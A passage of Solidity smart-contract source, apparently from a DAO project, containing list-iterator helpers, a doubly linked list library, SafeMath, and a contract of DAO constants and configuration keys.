_address_items = private_list_addresses_from_address(_current_item, _count, false, _function_first, _function_previous);
}
}
function private_list_addresses_from_address(address _current_item, uint256 _count, bool _including_current,
function () external constant returns (address) _function_last,
function (address) external constant returns (address) _function_next)
private
constant
returns (address[] _address_items)
{
uint256 _i;
uint256 _real_count = 0;
address _last_item;
_last_item = _function_last();
if (_count == 0 || _last_item == address(0x0)) {
_address_items = new address[](0);
} else {
address[] memory _items_temp = new address[](_count);
address _this_item;
if (_including_current == true) {
_items_temp[0] = _current_item;
_real_count = 1;
}
_this_item = _current_item;
for (_i = _real_count; (_i < _count) && (_this_item != _last_item);_i++) {
_this_item = _function_next(_this_item);
if (_this_item != address(0x0)) {
_real_count++;
_items_temp[_i] = _this_item;
}
}
_address_items = new address[](_real_count);
for(_i = 0;_i < _real_count;_i++) {
_address_items[_i] = _items_temp[_i];
}
}
}
}
contract IndexedBytesIteratorInteractive {
function list_indexed_bytesarray(bytes32 _collection_index, uint256 _count,
function (bytes32) external constant returns (bytes32) _function_first,
function (bytes32) external constant returns (bytes32) _function_last,
function (bytes32, bytes32) external constant returns (bytes32) _function_next,
function (bytes32, bytes32) external constant returns (bytes32) _function_previous,
bool _from_start)
internal
constant
returns (bytes32[] _indexed_bytes_items)
{
if (_from_start) {
_indexed_bytes_items = private_list_indexed_bytes_from_bytes(_collection_index, _function_first(_collection_index), _count, true, _function_last, _function_next);
} else {
_indexed_bytes_items = private_list_indexed_bytes_from_bytes(_collection_index, _function_last(_collection_index), _count, true, _function_first, _function_previous);
}
}
function list_indexed_bytesarray_from(bytes32 _collection_index, bytes32 _current_item, uint256 _count,
function (bytes32) external constant returns (bytes32) _function_first,
function (bytes32) external constant returns (bytes32) _function_last,
function (bytes32, bytes32) external constant returns (bytes32) _function_next,
function (bytes32, bytes32) external constant returns (bytes32) _function_previous,
bool _from_start)
internal
constant
returns (bytes32[] _indexed_bytes_items)
{
if (_from_start) {
_indexed_bytes_items = private_list_indexed_bytes_from_bytes(_collection_index, _current_item, _count, false, _function_last, _function_next);
} else {
_indexed_bytes_items = private_list_indexed_bytes_from_bytes(_collection_index, _current_item, _count, false, _function_first, _function_previous);
}
}
function private_list_indexed_bytes_from_bytes(bytes32 _collection_index, bytes32 _current_item, uint256 _count, bool _including_current,
function (bytes32) external constant returns (bytes32) _function_last,
function (bytes32, bytes32) external constant returns (bytes32) _function_next)
private
constant
returns (bytes32[] _indexed_bytes_items)
{
uint256 _i;
uint256 _real_count = 0;
bytes32 _last_item;
_last_item = _function_last(_collection_index);
if (_count == 0 || _last_item == bytes32(0x0)) {
_indexed_bytes_items = new bytes32[](0);
} else {
bytes32[] memory _items_temp = new bytes32[](_count);
bytes32 _this_item;
if (_including_current) {
_items_temp[0] = _current_item;
_real_count = 1;
}
_this_item = _current_item;
for (_i = _real_count; (_i < _count) && (_this_item != _last_item);_i++) {
_this_item = _function_next(_collection_index, _this_item);
if (_this_item != bytes32(0x0)) {
_real_count++;
_items_temp[_i] = _this_item;
}
}
_indexed_bytes_items = new bytes32[](_real_count);
for(_i = 0;_i < _real_count;_i++) {
_indexed_bytes_items[_i] = _items_temp[_i];
}
}
}
}
library DoublyLinkedList {
struct Item {
bytes32 item;
uint256 previous_index;
uint256 next_index;
}
struct Data {
uint256 first_index;
uint256 last_index;
uint256 count;
mapping(bytes32 => uint256) item_index;
mapping(uint256 => bool) valid_indexes;
Item[] collection;
}
struct IndexedUint {
mapping(bytes32 => Data) data;
}
struct IndexedAddress {
mapping(bytes32 => Data) data;
}
struct IndexedBytes {
mapping(bytes32 => Data) data;
}
struct Address {
Data data;
}
struct Bytes {
Data data;
}
struct Uint {
Data data;
}
uint256 constant NONE = uint256(0);
bytes32 constant EMPTY_BYTES = bytes32(0x0);
address constant NULL_ADDRESS = address(0x0);
function find(Data storage self, bytes32 _item)
public
constant
returns (uint256 _item_index)
{
if ((self.item_index[_item] == NONE) && (self.count == NONE)) {
_item_index = NONE;
} else {
_item_index = self.item_index[_item];
}
}
function get(Data storage self, uint256 _item_index)
public
constant
returns (bytes32 _item)
{
if (self.valid_indexes[_item_index] == true) {
_item = self.collection[_item_index - 1].item;
} else {
_item = EMPTY_BYTES;
}
}
function append(Data storage self, bytes32 _data)
internal
returns (bool _success)
{
if (find(self, _data) != NONE || _data == bytes32("")) {
_success = false;
} else {
uint256 _index = uint256(self.collection.push(Item({item: _data, previous_index: self.last_index, next_index: NONE})));
if (self.last_index == NONE) {
if ((self.first_index != NONE) || (self.count != NONE)) {
revert();
} else {
self.first_index = self.last_index = _index;
self.count = 1;
}
} else {
self.collection[self.last_index - 1].next_index = _index;
self.last_index = _index;
self.count++;
}
self.valid_indexes[_index] = true;
self.item_index[_data] = _index;
_success = true;
}
}
function remove(Data storage self, uint256 _index)
internal
returns (bool _success)
{
if (self.valid_indexes[_index] == true) {
Item memory item = self.collection[_index - 1];
if (item.previous_index == NONE) {
self.first_index = item.next_index;
} else {
self.collection[item.previous_index - 1].next_index = item.next_index;
}
if (item.next_index == NONE) {
self.last_index = item.previous_index;
} else {
self.collection[item.next_index - 1].previous_index = item.previous_index;
}
delete self.collection[_index - 1];
self.valid_indexes[_index] = false;
delete self.item_index[item.item];
self.count--;
_success = true;
} else {
_success = false;
}
}
function remove_item(Data storage self, bytes32 _item)
internal
returns (bool _success)
{
uint256 _item_index = find(self, _item);
if (_item_index != NONE) {
require(remove(self, _item_index));
_success = true;
} else {
_success = false;
}
return _success;
}
function total(Data storage self)
public
constant
returns (uint256 _total_count)
{
_total_count = self.count;
}
function start(Data storage self)
public
constant
returns (uint256 _item_index)
{
_item_index = self.first_index;
return _item_index;
}
function start_item(Data storage self)
public
constant
returns (bytes32 _item)
{
uint256 _item_index = start(self);
if (_item_index != NONE) {
_item = get(self, _item_index);
} else {
_item = EMPTY_BYTES;
}
}
function end(Data storage self)
public
constant
returns (uint256 _item_index)
{
_item_index = self.last_index;
return _item_index;
}
function end_item(Data storage self)
public
constant
returns (bytes32 _item)
{
uint256 _item_index = end(self);
if (_item_index != NONE) {
_item = get(self, _item_index);
} else {
_item = EMPTY_BYTES;
}
}
function valid(Data storage self, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = self.valid_indexes[_item_index];
}
function valid_item(Data storage self, bytes32 _item)
public
constant
returns (bool _yes)
{
uint256 _item_index = self.item_index[_item];
_yes = self.valid_indexes[_item_index];
}
function previous(Data storage self, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
if (self.valid_indexes[_current_index] == true) {
_previous_index = self.collection[_current_index - 1].previous_index;
} else {
_previous_index = NONE;
}
}
function previous_item(Data storage self, bytes32 _current_item)
public
constant
returns (bytes32 _previous_item)
{
uint256 _current_index = find(self, _current_item);
if (_current_index != NONE) {
uint256 _previous_index = previous(self, _current_index);
_previous_item = get(self, _previous_index);
} else {
_previous_item = EMPTY_BYTES;
}
}
function next(Data storage self, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
if (self.valid_indexes[_current_index] == true) {
_next_index = self.collection[_current_index - 1].next_index;
} else {
_next_index = NONE;
}
}
function next_item(Data storage self, bytes32 _current_item)
public
constant
returns (bytes32 _next_item)
{
uint256 _current_index = find(self, _current_item);
if (_current_index != NONE) {
uint256 _next_index = next(self, _current_index);
_next_item = get(self, _next_index);
} else {
_next_item = EMPTY_BYTES;
}
}
function find(Uint storage self, uint256 _item)
public
constant
returns (uint256 _item_index)
{
_item_index = find(self.data, bytes32(_item));
}
function get(Uint storage self, uint256 _item_index)
public
constant
returns (uint256 _item)
{
_item = uint256(get(self.data, _item_index));
}
function append(Uint storage self, uint256 _data)
public
returns (bool _success)
{
_success = append(self.data, bytes32(_data));
}
function remove(Uint storage self, uint256 _index)
internal
returns (bool _success)
{
_success = remove(self.data, _index);
}
function remove_item(Uint storage self, uint256 _item)
public
returns (bool _success)
{
_success = remove_item(self.data, bytes32(_item));
}
function total(Uint storage self)
public
constant
returns (uint256 _total_count)
{
_total_count = total(self.data);
}
function start(Uint storage self)
public
constant
returns (uint256 _index)
{
_index = start(self.data);
}
function start_item(Uint storage self)
public
constant
returns (uint256 _start_item)
{
_start_item = uint256(start_item(self.data));
}
function end(Uint storage self)
public
constant
returns (uint256 _index)
{
_index = end(self.data);
}
function end_item(Uint storage self)
public
constant
returns (uint256 _end_item)
{
_end_item = uint256(end_item(self.data));
}
function valid(Uint storage self, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = valid(self.data, _item_index);
}
function valid_item(Uint storage self, uint256 _item)
public
constant
returns (bool _yes)
{
_yes = valid_item(self.data, bytes32(_item));
}
function previous(Uint storage self, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
_previous_index = previous(self.data, _current_index);
}
function previous_item(Uint storage self, uint256 _current_item)
public
constant
returns (uint256 _previous_item)
{
_previous_item = uint256(previous_item(self.data, bytes32(_current_item)));
}
function next(Uint storage self, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
_next_index = next(self.data, _current_index);
}
function next_item(Uint storage self, uint256 _current_item)
public
constant
returns (uint256 _next_item)
{
_next_item = uint256(next_item(self.data, bytes32(_current_item)));
}
function find(Address storage self, address _item)
public
constant
returns (uint256 _item_index)
{
_item_index = find(self.data, bytes32(_item));
}
function get(Address storage self, uint256 _item_index)
public
constant
returns (address _item)
{
_item = address(get(self.data, _item_index));
}
function find(IndexedUint storage self, bytes32 _collection_index, uint256 _item)
public
constant
returns (uint256 _item_index)
{
_item_index = find(self.data[_collection_index], bytes32(_item));
}
function get(IndexedUint storage self, bytes32 _collection_index, uint256 _item_index)
public
constant
returns (uint256 _item)
{
_item = uint256(get(self.data[_collection_index], _item_index));
}
function append(IndexedUint storage self, bytes32 _collection_index, uint256 _data)
public
returns (bool _success)
{
_success = append(self.data[_collection_index], bytes32(_data));
}
function remove(IndexedUint storage self, bytes32 _collection_index, uint256 _index)
internal
returns (bool _success)
{
_success = remove(self.data[_collection_index], _index);
}
function remove_item(IndexedUint storage self, bytes32 _collection_index, uint256 _item)
public
returns (bool _success)
{
_success = remove_item(self.data[_collection_index], bytes32(_item));
}
function total(IndexedUint storage self, bytes32 _collection_index)
public
constant
returns (uint256 _total_count)
{
_total_count = total(self.data[_collection_index]);
}
function start(IndexedUint storage self, bytes32 _collection_index)
public
constant
returns (uint256 _index)
{
_index = start(self.data[_collection_index]);
}
function start_item(IndexedUint storage self, bytes32 _collection_index)
public
constant
returns (uint256 _start_item)
{
_start_item = uint256(start_item(self.data[_collection_index]));
}
function end(IndexedUint storage self, bytes32 _collection_index)
public
constant
returns (uint256 _index)
{
_index = end(self.data[_collection_index]);
}
function end_item(IndexedUint storage self, bytes32 _collection_index)
public
constant
returns (uint256 _end_item)
{
_end_item = uint256(end_item(self.data[_collection_index]));
}
function valid(IndexedUint storage self, bytes32 _collection_index, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = valid(self.data[_collection_index], _item_index);
}
function valid_item(IndexedUint storage self, bytes32 _collection_index, uint256 _item)
public
constant
returns (bool _yes)
{
_yes = valid_item(self.data[_collection_index], bytes32(_item));
}
function previous(IndexedUint storage self, bytes32 _collection_index, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
_previous_index = previous(self.data[_collection_index], _current_index);
}
function previous_item(IndexedUint storage self, bytes32 _collection_index, uint256 _current_item)
public
constant
returns (uint256 _previous_item)
{
_previous_item = uint256(previous_item(self.data[_collection_index], bytes32(_current_item)));
}
function next(IndexedUint storage self, bytes32 _collection_index, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
_next_index = next(self.data[_collection_index], _current_index);
}
function next_item(IndexedUint storage self, bytes32 _collection_index, uint256 _current_item)
public
constant
returns (uint256 _next_item)
{
_next_item = uint256(next_item(self.data[_collection_index], bytes32(_current_item)));
}
function append(Address storage self, address _data)
public
returns (bool _success)
{
_success = append(self.data, bytes32(_data));
}
function remove(Address storage self, uint256 _index)
internal
returns (bool _success)
{
_success = remove(self.data, _index);
}
function remove_item(Address storage self, address _item)
public
returns (bool _success)
{
_success = remove_item(self.data, bytes32(_item));
}
function total(Address storage self)
public
constant
returns (uint256 _total_count)
{
_total_count = total(self.data);
}
function start(Address storage self)
public
constant
returns (uint256 _index)
{
_index = start(self.data);
}
function start_item(Address storage self)
public
constant
returns (address _start_item)
{
_start_item = address(start_item(self.data));
}
function end(Address storage self)
public
constant
returns (uint256 _index)
{
_index = end(self.data);
}
function end_item(Address storage self)
public
constant
returns (address _end_item)
{
_end_item = address(end_item(self.data));
}
function valid(Address storage self, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = valid(self.data, _item_index);
}
function valid_item(Address storage self, address _item)
public
constant
returns (bool _yes)
{
_yes = valid_item(self.data, bytes32(_item));
}
function previous(Address storage self, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
_previous_index = previous(self.data, _current_index);
}
function previous_item(Address storage self, address _current_item)
public
constant
returns (address _previous_item)
{
_previous_item = address(previous_item(self.data, bytes32(_current_item)));
}
function next(Address storage self, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
_next_index = next(self.data, _current_index);
}
function next_item(Address storage self, address _current_item)
public
constant
returns (address _next_item)
{
_next_item = address(next_item(self.data, bytes32(_current_item)));
}
function append(IndexedAddress storage self, bytes32 _collection_index, address _data)
public
returns (bool _success)
{
_success = append(self.data[_collection_index], bytes32(_data));
}
function remove(IndexedAddress storage self, bytes32 _collection_index, uint256 _index)
internal
returns (bool _success)
{
_success = remove(self.data[_collection_index], _index);
}
function remove_item(IndexedAddress storage self, bytes32 _collection_index, address _item)
public
returns (bool _success)
{
_success = remove_item(self.data[_collection_index], bytes32(_item));
}
function total(IndexedAddress storage self, bytes32 _collection_index)
public
constant
returns (uint256 _total_count)
{
_total_count = total(self.data[_collection_index]);
}
function start(IndexedAddress storage self, bytes32 _collection_index)
public
constant
returns (uint256 _index)
{
_index = start(self.data[_collection_index]);
}
function start_item(IndexedAddress storage self, bytes32 _collection_index)
public
constant
returns (address _start_item)
{
_start_item = address(start_item(self.data[_collection_index]));
}
function end(IndexedAddress storage self, bytes32 _collection_index)
public
constant
returns (uint256 _index)
{
_index = end(self.data[_collection_index]);
}
function end_item(IndexedAddress storage self, bytes32 _collection_index)
public
constant
returns (address _end_item)
{
_end_item = address(end_item(self.data[_collection_index]));
}
function valid(IndexedAddress storage self, bytes32 _collection_index, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = valid(self.data[_collection_index], _item_index);
}
function valid_item(IndexedAddress storage self, bytes32 _collection_index, address _item)
public
constant
returns (bool _yes)
{
_yes = valid_item(self.data[_collection_index], bytes32(_item));
}
function previous(IndexedAddress storage self, bytes32 _collection_index, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
_previous_index = previous(self.data[_collection_index], _current_index);
}
function previous_item(IndexedAddress storage self, bytes32 _collection_index, address _current_item)
public
constant
returns (address _previous_item)
{
_previous_item = address(previous_item(self.data[_collection_index], bytes32(_current_item)));
}
function next(IndexedAddress storage self, bytes32 _collection_index, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
_next_index = next(self.data[_collection_index], _current_index);
}
function next_item(IndexedAddress storage self, bytes32 _collection_index, address _current_item)
public
constant
returns (address _next_item)
{
_next_item = address(next_item(self.data[_collection_index], bytes32(_current_item)));
}
function find(Bytes storage self, bytes32 _item)
public
constant
returns (uint256 _item_index)
{
_item_index = find(self.data, _item);
}
function get(Bytes storage self, uint256 _item_index)
public
constant
returns (bytes32 _item)
{
_item = get(self.data, _item_index);
}
function append(Bytes storage self, bytes32 _data)
public
returns (bool _success)
{
_success = append(self.data, _data);
}
function remove(Bytes storage self, uint256 _index)
internal
returns (bool _success)
{
_success = remove(self.data, _index);
}
function remove_item(Bytes storage self, bytes32 _item)
public
returns (bool _success)
{
_success = remove_item(self.data, _item);
}
function total(Bytes storage self)
public
constant
returns (uint256 _total_count)
{
_total_count = total(self.data);
}
function start(Bytes storage self)
public
constant
returns (uint256 _index)
{
_index = start(self.data);
}
function start_item(Bytes storage self)
public
constant
returns (bytes32 _start_item)
{
_start_item = start_item(self.data);
}
function end(Bytes storage self)
public
constant
returns (uint256 _index)
{
_index = end(self.data);
}
function end_item(Bytes storage self)
public
constant
returns (bytes32 _end_item)
{
_end_item = end_item(self.data);
}
function valid(Bytes storage self, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = valid(self.data, _item_index);
}
function valid_item(Bytes storage self, bytes32 _item)
public
constant
returns (bool _yes)
{
_yes = valid_item(self.data, _item);
}
function previous(Bytes storage self, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
_previous_index = previous(self.data, _current_index);
}
function previous_item(Bytes storage self, bytes32 _current_item)
public
constant
returns (bytes32 _previous_item)
{
_previous_item = previous_item(self.data, _current_item);
}
function next(Bytes storage self, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
_next_index = next(self.data, _current_index);
}
function next_item(Bytes storage self, bytes32 _current_item)
public
constant
returns (bytes32 _next_item)
{
_next_item = next_item(self.data, _current_item);
}
function append(IndexedBytes storage self, bytes32 _collection_index, bytes32 _data)
public
returns (bool _success)
{
_success = append(self.data[_collection_index], bytes32(_data));
}
function remove(IndexedBytes storage self, bytes32 _collection_index, uint256 _index)
internal
returns (bool _success)
{
_success = remove(self.data[_collection_index], _index);
}
function remove_item(IndexedBytes storage self, bytes32 _collection_index, bytes32 _item)
public
returns (bool _success)
{
_success = remove_item(self.data[_collection_index], bytes32(_item));
}
function total(IndexedBytes storage self, bytes32 _collection_index)
public
constant
returns (uint256 _total_count)
{
_total_count = total(self.data[_collection_index]);
}
function start(IndexedBytes storage self, bytes32 _collection_index)
public
constant
returns (uint256 _index)
{
_index = start(self.data[_collection_index]);
}
function start_item(IndexedBytes storage self, bytes32 _collection_index)
public
constant
returns (bytes32 _start_item)
{
_start_item = bytes32(start_item(self.data[_collection_index]));
}
function end(IndexedBytes storage self, bytes32 _collection_index)
public
constant
returns (uint256 _index)
{
_index = end(self.data[_collection_index]);
}
function end_item(IndexedBytes storage self, bytes32 _collection_index)
public
constant
returns (bytes32 _end_item)
{
_end_item = bytes32(end_item(self.data[_collection_index]));
}
function valid(IndexedBytes storage self, bytes32 _collection_index, uint256 _item_index)
public
constant
returns (bool _yes)
{
_yes = valid(self.data[_collection_index], _item_index);
}
function valid_item(IndexedBytes storage self, bytes32 _collection_index, bytes32 _item)
public
constant
returns (bool _yes)
{
_yes = valid_item(self.data[_collection_index], bytes32(_item));
}
function previous(IndexedBytes storage self, bytes32 _collection_index, uint256 _current_index)
public
constant
returns (uint256 _previous_index)
{
_previous_index = previous(self.data[_collection_index], _current_index);
}
function previous_item(IndexedBytes storage self, bytes32 _collection_index, bytes32 _current_item)
public
constant
returns (bytes32 _previous_item)
{
_previous_item = bytes32(previous_item(self.data[_collection_index], bytes32(_current_item)));
}
function next(IndexedBytes storage self, bytes32 _collection_index, uint256 _current_index)
public
constant
returns (uint256 _next_index)
{
_next_index = next(self.data[_collection_index], _current_index);
}
function next_item(IndexedBytes storage self, bytes32 _collection_index, bytes32 _current_item)
public
constant
returns (bytes32 _next_item)
{
_next_item = bytes32(next_item(self.data[_collection_index], bytes32(_current_item)));
}
}
contract BytesIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.Bytes;
function read_first_from_bytesarray(DoublyLinkedList.Bytes storage _list)
internal
constant
returns (bytes32 _item)
{
_item = _list.start_item();
}
function read_last_from_bytesarray(DoublyLinkedList.Bytes storage _list)
internal
constant
returns (bytes32 _item)
{
_item = _list.end_item();
}
function read_next_from_bytesarray(DoublyLinkedList.Bytes storage _list, bytes32 _current_item)
internal
constant
returns (bytes32 _item)
{
_item = _list.next_item(_current_item);
}
function read_previous_from_bytesarray(DoublyLinkedList.Bytes storage _list, bytes32 _current_item)
internal
constant
returns (bytes32 _item)
{
_item = _list.previous_item(_current_item);
}
function read_total_bytesarray(DoublyLinkedList.Bytes storage _list)
internal
constant
returns (uint256 _count)
{
_count = _list.total();
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract DaoConstants {
using SafeMath for uint256;
bytes32 EMPTY_BYTES = bytes32(0x0);
address EMPTY_ADDRESS = address(0x0);
bytes32 PROPOSAL_STATE_PREPROPOSAL = "proposal_state_preproposal";
bytes32 PROPOSAL_STATE_DRAFT = "proposal_state_draft";
bytes32 PROPOSAL_STATE_MODERATED = "proposal_state_moderated";
bytes32 PROPOSAL_STATE_ONGOING = "proposal_state_ongoing";
bytes32 PROPOSAL_STATE_CLOSED = "proposal_state_closed";
bytes32 PROPOSAL_STATE_ARCHIVED = "proposal_state_archived";
uint256 PRL_ACTION_STOP = 1;
uint256 PRL_ACTION_PAUSE = 2;
uint256 PRL_ACTION_UNPAUSE = 3;
uint256 COLLATERAL_STATUS_UNLOCKED = 1;
uint256 COLLATERAL_STATUS_LOCKED = 2;
uint256 COLLATERAL_STATUS_CLAIMED = 3;
bytes32 INTERMEDIATE_DGD_IDENTIFIER = "inter_dgd_id";
bytes32 INTERMEDIATE_MODERATOR_DGD_IDENTIFIER = "inter_mod_dgd_id";
bytes32 INTERMEDIATE_BONUS_CALCULATION_IDENTIFIER = "inter_bonus_calculation_id";
bytes32 CONTRACT_DAO = "dao";
bytes32 CONTRACT_DAO_SPECIAL_PROPOSAL = "dao:special:proposal";
bytes32 CONTRACT_DAO_STAKE_LOCKING = "dao:stake-locking";
bytes32 CONTRACT_DAO_VOTING = "dao:voting";
bytes32 CONTRACT_DAO_VOTING_CLAIMS = "dao:voting:claims";
bytes32 CONTRACT_DAO_SPECIAL_VOTING_CLAIMS = "dao:svoting:claims";
bytes32 CONTRACT_DAO_IDENTITY = "dao:identity";
bytes32 CONTRACT_DAO_REWARDS_MANAGER = "dao:rewards-manager";
bytes32 CONTRACT_DAO_REWARDS_MANAGER_EXTRAS = "dao:rewards-extras";
bytes32 CONTRACT_DAO_ROLES = "dao:roles";
bytes32 CONTRACT_DAO_FUNDING_MANAGER = "dao:funding-manager";
bytes32 CONTRACT_DAO_WHITELISTING = "dao:whitelisting";
bytes32 CONTRACT_DAO_INFORMATION = "dao:information";
bytes32 CONTRACT_SERVICE_ROLE = "service:role";
bytes32 CONTRACT_SERVICE_DAO_INFO = "service:dao:info";
bytes32 CONTRACT_SERVICE_DAO_LISTING = "service:dao:listing";
bytes32 CONTRACT_SERVICE_DAO_CALCULATOR = "service:dao:calculator";
bytes32 CONTRACT_STORAGE_DAO = "storage:dao";
bytes32 CONTRACT_STORAGE_DAO_COUNTER = "storage:dao:counter";
bytes32 CONTRACT_STORAGE_DAO_UPGRADE = "storage:dao:upgrade";
bytes32 CONTRACT_STORAGE_DAO_IDENTITY = "storage:dao:identity";
bytes32 CONTRACT_STORAGE_DAO_POINTS = "storage:dao:points";
bytes32 CONTRACT_STORAGE_DAO_SPECIAL = "storage:dao:special";
bytes32 CONTRACT_STORAGE_DAO_CONFIG = "storage:dao:config";
bytes32 CONTRACT_STORAGE_DAO_STAKE = "storage:dao:stake";
bytes32 CONTRACT_STORAGE_DAO_REWARDS = "storage:dao:rewards";
bytes32 CONTRACT_STORAGE_DAO_WHITELISTING = "storage:dao:whitelisting";
bytes32 CONTRACT_STORAGE_INTERMEDIATE_RESULTS = "storage:intermediate:results";
bytes32 CONTRACT_DGD_TOKEN = "t:dgd";
bytes32 CONTRACT_DGX_TOKEN = "t:dgx";
bytes32 CONTRACT_BADGE_TOKEN = "t:badge";
uint8 ROLES_ROOT = 1;
uint8 ROLES_FOUNDERS = 2;
uint8 ROLES_PRLS = 3;
uint8 ROLES_KYC_ADMINS = 4;
uint256 QUARTER_DURATION = 90 days;
bytes32 CONFIG_MINIMUM_LOCKED_DGD = "min_dgd_participant";
bytes32 CONFIG_MINIMUM_DGD_FOR_MODERATOR = "min_dgd_moderator";
bytes32 CONFIG_MINIMUM_REPUTATION_FOR_MODERATOR = "min_reputation_moderator";
bytes32 CONFIG_LOCKING_PHASE_DURATION = "locking_phase_duration";
bytes32 CONFIG_QUARTER_DURATION = "quarter_duration";
bytes32 CONFIG_VOTING_COMMIT_PHASE = "voting_commit_phase";
bytes32 CONFIG_VOTING_PHASE_TOTAL = "voting_phase_total";
bytes32 CONFIG_INTERIM_COMMIT_PHASE = "interim_voting_commit_phase";
bytes32 CONFIG_INTERIM_PHASE_TOTAL = "interim_voting_phase_total";
bytes32 CONFIG_DRAFT_QUORUM_FIXED_PORTION_NUMERATOR = "draft_quorum_fixed_numerator";
bytes32 CONFIG_DRAFT_QUORUM_FIXED_PORTION_DENOMINATOR = "draft_quorum_fixed_denominator";
bytes32 CONFIG_DRAFT_QUORUM_SCALING_FACTOR_NUMERATOR = "draft_quorum_sfactor_numerator";
bytes32 CONFIG_DRAFT_QUORUM_SCALING_FACTOR_DENOMINATOR = "draft_quorum_sfactor_denominator";
bytes32 CONFIG_VOTING_QUORUM_FIXED_PORTION_NUMERATOR = "vote_quorum_fixed_numerator";
bytes32 CONFIG_VOTING_QUORUM_FIXED_PORTION_DENOMINATOR = "vote_quorum_fixed_denominator";
bytes32 CONFIG_VOTING_QUORUM_SCALING_FACTOR_NUMERATOR = "vote_quorum_sfactor_numerator";
bytes32 CONFIG_VOTING_QUORUM_SCALING_FACTOR_DENOMINATOR = "vote_quorum_sfactor_denominator";
bytes32 CONFIG_FINAL_REWARD_SCALING_FACTOR_NUMERATOR = "final_reward_sfactor_numerator";
bytes32 CONFIG_FINAL_REWARD_SCALING_FACTOR_DENOMINATOR = "final_reward_sfactor_denominator";
bytes32 CONFIG_DRAFT_QUOTA_NUMERATOR = "draft_quota_numerator";
bytes32 CONFIG_DRAFT_QUOTA_DENOMINATOR = "draft_quota_denominator";
bytes32 CONFIG_VOTING_QUOTA_NUMERATOR = "voting_quota_numerator";
bytes32 CONFIG_VOTING_QUOTA_DENOMINATOR = "voting_quota_denominator";
bytes32 CONFIG_MINIMAL_QUARTER_POINT = "minimal_qp";
bytes32 CONFIG_QUARTER_POINT_SCALING_FACTOR = "quarter_point_scaling_factor";
bytes32 CONFIG_REPUTATION_POINT_SCALING_FACTOR = "rep_point_scaling_factor";
bytes32 CONFIG_MODERATOR_MINIMAL_QUARTER_POINT = "minimal_mod_qp";
bytes32 CONFIG_MODERATOR_QUARTER_POINT_SCALING_FACTOR = "mod_qp_scaling_factor";
bytes32 CONFIG_MODERATOR_REPUTATION_POINT_SCALING_FACTOR = "mod_rep_point_scaling_factor";
bytes32 CONFIG_QUARTER_POINT_DRAFT_VOTE = "quarter_point_draft_vote";
bytes32 CONFIG_QUARTER_POINT_VOTE = "quarter_point_vote";
bytes32 CONFIG_QUARTER_POINT_INTERIM_VOTE = "quarter_point_interim_vote";
bytes32 CONFIG_QUARTER_POINT_MILESTONE_COMPLETION_PER_10000ETH = "q_p_milestone_completion";
bytes32 CONFIG_BONUS_REPUTATION_NUMERATOR = "bonus_reputation_numerator";
bytes32 CONFIG_BONUS_REPUTATION_DENOMINATOR = "bonus_reputation_denominator";
bytes32 CONFIG_SPECIAL_PROPOSAL_COMMIT_PHASE = "special_proposal_commit_phase";
bytes32 CONFIG_SPECIAL_PROPOSAL_PHASE_TOTAL = "special_proposal_phase_total";
bytes32 CONFIG_SPECIAL_QUOTA_NUMERATOR = "config_special_quota_numerator";
bytes32 CONFIG_SPECIAL_QUOTA_DENOMINATOR = "config_special_quota_denominator";
bytes32 CONFIG_SPECIAL_PROPOSAL_QUORUM_NUMERATOR = "special_quorum_numerator";
bytes32 CONFIG_SPECIAL_PROPOSAL_QUORUM_DENOMINATOR = "special_quorum_denominator";
bytes32 CONFIG_MAXIMUM_REPUTATION_DEDUCTION = "config_max_reputation_deduction";
bytes32 CONFIG_PUNISHMENT_FOR_NOT_LOCKING = "config_punishment_not_locking";
bytes32 CONFIG_REPUTATION_PER_EXTRA_QP_NUM = "config_rep_per_extra_qp_num";
bytes32 CONFIG_REPUTATION_PER_EXTRA_QP_DEN = "config_rep_per_extra_qp_den";
bytes32 CONFIG_MAXIMUM_MODERATOR_REPUTATION_DEDUCTION = "config_max_m_rp_deduction";
bytes32 CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_NUM = "config_rep_per_extra_m_qp_num";
bytes32 CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_DEN = "config_rep_per_extra_m_qp_den";
bytes32 CONFIG_PORTION_TO_MODERATORS_NUM = "config_mod_portion_num";
bytes32 CONFIG_PORTION_TO_MODERATORS_DEN = "config_mod_portion_den";
bytes32 CONFIG_DRAFT_VOTING_PHASE = "config_draft_voting_phase";
bytes32 CONFIG_REPUTATION_POINT_BOOST_FOR_BADGE = "config_rp_boost_per_badge";
bytes32 CONFIG_VOTE_CLAIMING_DEADLINE = "config_claiming_deadline";
bytes32 CONFIG_PREPROPOSAL_COLLATERAL = "config_preproposal_collateral";
bytes32 CONFIG_MAX_FUNDING_FOR_NON_DIGIX = "config_max_funding_nonDigix";
bytes32 CONFIG_MAX_MILESTONES_FOR_NON_DIGIX = "config_max_milestones_nonDigix";
bytes32 CONFIG_NON_DIGIX_PROPOSAL_CAP_PER_QUARTER = "config_nonDigix_proposal_cap";
bytes32 CONFIG_PROPOSAL_DEAD_DURATION = "config_dead_duration";
bytes32 CONFIG_CARBON_VOTE_REPUTATION_BONUS = "config_cv_reputation";
}
